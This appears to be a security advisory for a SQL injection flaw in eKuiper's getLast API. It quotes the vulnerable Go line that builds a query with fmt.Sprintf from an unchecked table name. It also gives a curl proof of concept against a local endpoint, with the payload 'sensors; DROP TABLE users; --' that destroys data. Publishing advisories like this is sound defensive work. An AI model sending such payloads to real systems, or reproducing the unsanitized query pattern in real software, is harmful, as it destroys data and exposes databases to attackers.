Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/lf edge/ekuiper/v2, software state validation or input boundaries are circumvented during processing.

"details" : "### Summary\nA critical SQL Injection vulnerability exists in the `getLast` API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.\n\n\n### Details\nThe root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using `fmt.Sprintf`, without validating the `table` parameter. Specifically, in:\n\n```go\nquery := fmt.Sprintf(\"SELECT * FROM %s ORDER BY rowid DESC LIMIT 1\", table)\n```\nAny value passed as the `table` parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.\n\n\n### PoC\n1. **Deploy eKuiper instance** (default config is sufficient).\n2. **Send a crafted request to the SQL query endpoint**:\n```bash\n curl -X POST http://localhost:9081/sql-query \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"table\": \"sensors; DROP TABLE users; --\",\n \"operation\": \"getLast\"\n }'\n```\n3. **Effect**: Executes two SQL queries — the first selects data, the second drops the `users` table.\n4. **Verify Result**:\n```bash\n sqlite3 etc/kuiper/data/kuiper.db \".tables\"\n```\n\n### Impact\nCWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')\n\n\n### Refferences\n- https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3",
